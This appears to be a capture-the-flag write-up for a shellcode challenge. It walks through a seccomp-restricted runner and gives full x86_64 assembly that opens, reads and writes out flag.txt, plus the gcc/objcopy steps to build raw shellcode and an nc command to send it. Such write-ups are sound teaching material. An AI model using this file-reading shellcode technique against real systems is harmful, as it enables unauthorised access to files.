

# Setup

Provided at beginning of CTF

- Source Code
- Binary

A note on “shell” / “pwn”-style CTFs:

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Exploit needed on the server to avoid offline analysis/strings shenanigans

It will be running with something like `$ socat TCP-LISTEN:4444,fork,reuseaddr EXEC:./pwnable.elf`

Simplest way to redirect stdin/stdout to a socket - can treat the netcat command the same as running the exe locally\*.

Achieve the behavior locally, then provide the same input to the server.

# Tools

Tools used in this solve:

- A text editor
- gcc (as an assembler)
- objcopy(1)
- objdump (optional)

# Process setup

## Unbuffered IO (for socat and especially for segfaults)

- stdout buffered by libc (in userspace) until a newline
- libc will also flush on a call to flush() or graceful exit
- Not on a segfault!
- Worse yet: when stdout is not a tty (eg. a pipe - socat), block buffering
- Solution: setvbuf(3)

```
41 static void process_setup()  
42 {  
43     setvbuf(stdout, NULL, _IONBF, 0);
```

## Allocate a page for shellcode and make it executable

```
50     pagesize = sysconf(_SC_PAGE_SIZE);
51
52     shellcode = memalign(pagesize, pagesize);
53     if (shellcode == NULL) {
54         perror("memalign");
55         exit(1);
56     }
57
58
59     if (mprotect(shellcode, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC)) {
60         perror("mprotect");
61         exit(1);
62     }
```

## Binary equivalent of exec(readline())

```
34     puts(" Ready to receive shellcode ...");  
35     read(STDIN_FILENO, shellcode, pagesize);  
36  
37     puts(" Executing shellcode ...");  
38     ((void (*)(void)) shellcode)();
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Getting the syntax right on the first try feels *really* good.



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It won't work. Seccomp will ruin your day.

## seccomp(2)

```
66  struct sock_filter filter [] = {
67      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))),
68      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, FILTER_ARCH, 1, 0),
69      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (EPERM & SECCOMP_RET_DATA)),
70      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
71      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_read, 0, 1),
72      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
73      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
74      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_write, 0, 1),
75      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
76      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
77      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_writev, 0, 1),
78      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
79      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
80      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_open, 0, 1),
81      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
82      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
83      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_openat, 0, 1),
84      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
85      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
86      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_exit, 0, 1),
87      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
88      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (EPERM & SECCOMP_RET_DATA)),
89  };
```

# Allowed syscalls

`open(2)`, `read(2)`, `write(2)` are available, and the flag file is known:

```
104         int fd = open("flag.txt", O_RDONLY);
```

Open the flag, read it into a buffer, then write the buffer to stdout (fd 1)

## x86\_64 calling convention

```
syscall(%rdi, %rsi, %rdx, %r10)
```

syscall number in %rax

- open: 2
- read: 0
- write: 1
- exit: 60

```
rax = open(flag, 0, 0)
```

```
1  .section .text
2      lea    flag(%rip), %rax
3      mov    %rax, %rdi
4      mov    $0, %rsi
5      mov    $0, %rdx
6      mov    $2, %rax
7      syscall
```

flag is a label - instruction-pointer relative (PIC)

```
read(rax, rsp, 128)
```

```
9      mov     %rax, %rdi
10     mov     %rsp, %rsi
11     mov     $128, %rdx
12     mov     $0, %rax
13     syscall
```

Just use the SP as a buffer (it's free real estate)



# write(1, rsp, 128)

```
15     mov     $1, %rdi
16     mov     %rax, %rdx
17     mov     $1, %rax
18     syscall
19
20     mov     $60, %rax
21     syscall
22
23     flag:
24     .string "flag.txt"
```

Bonus: `exit()` at the end, then tack on the string literal.

## Assemble the payload

Use `as` or `gcc`. GCC can detect assembly input (.s extension) and will treat it appropriately.

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```
gcc -c payload.s
```

```
as -o payload.o payload.s
```

Obtain a `payload.o` ELF object.

# Who needs a linker?

The code is already position-independent and relies on no external symbols.

```
objdump -r payload-x86_64.o
```

 outputs no relocation entries

No need to get a linker script involved

```
objcopy -O binary -j .text payload.o payload.bin
```

Extracts the raw contents of the .text section as binary data

# PWN!

```
./runner.elf < payload-x86_64.bin
```

Or for realsies

```
nc ip < payload-x86_64.bin
```

# Sources

<https://github.com/drahosj/shellcode-ctf>

Includes source/binary for runner, a Makefile (may need tweaking to recompile runner), and two payloads (non-working exec-based, and working).

Run make to build the payloads, and the examples should work.